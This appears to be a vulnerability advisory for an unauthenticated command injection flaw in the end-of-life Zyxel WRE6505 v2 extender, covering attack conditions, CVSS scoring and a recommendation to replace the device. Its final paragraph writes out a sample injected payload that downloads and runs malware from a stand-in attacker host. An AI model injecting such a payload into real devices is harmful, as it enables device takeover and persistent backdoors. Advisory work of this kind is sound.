Zyxel WRE6505 v2 CVE-2026-7256

Exploitation requires the attacker to be on the same Layer 2 network segment as the vulnerable Zyxel WRE6505 v2 device, meaning adjacent network access (AV:A) such as connection to the same physical LAN, VLAN, or Wi-Fi network managed by the extender. No authentication is required (PR:N) to access the vulnerable CGI interface, and no user interaction is needed (UI:N), making this exploitable through automated attacks once adjacent access is obtained. The device must be running the affected firmware version V1.00(ABDV.3)C0, and the web management interface must be enabled and accessible from the LAN side (default configuration for consumer range extenders). Exploitation is limited by the requirement for adjacent network positioning rather than remote internet access, reducing exposure to external attackers but leaving the device vulnerable to any compromised or malicious device sharing the same network segment including rogue employee devices, compromised smart home equipment, or attackers with physical proximity to wireless networks.

Real-world risk is moderate-to-high for organizations still deploying this hardware, but mitigated by several factors. The CVSS base score of 8.8 reflects maximum impact (complete system compromise with High confidentiality, integrity, and availability impact) with low attack complexity and no authentication required. However, the adjacent network requirement (AV:A) significantly limits the attack surface compared to internet-facing vulnerabilities - attackers need physical proximity or prior compromise of a device on the same LAN. The critical risk factor is that Zyxel has designated this product as end-of-life per the reference URL, meaning this vulnerability will never receive an official patch. No public exploit identified at time of analysis and no EPSS or KEV data provided, suggesting this is not yet widely exploited in the wild. Organizations using this device face permanent exposure unless they replace the hardware. The combination of unsupported EOL status and unauthenticated command injection makes this a decommissioning priority rather than a patching priority.

An attacker who gains access to the same LAN segment as the Zyxel WRE6505 v2 (such as a malicious guest on corporate Wi-Fi, a compromised IoT device, or an insider threat) crafts an HTTP POST request to the device's CGI interface with shell metacharacters injected into a parameter field, such as embedding ; wget http://attacker.com/malware -O /tmp/m; chmod +x /tmp/m; /tmp/m; into a configuration field. The vulnerable CGI program passes this unsanitized input directly to a system shell command, executing the attacker's payload with the privileges of the web server process (likely root on embedded devices), allowing installation of persistent backdoors, traffic interception, or use of the device as a pivot point for lateral movement within the network.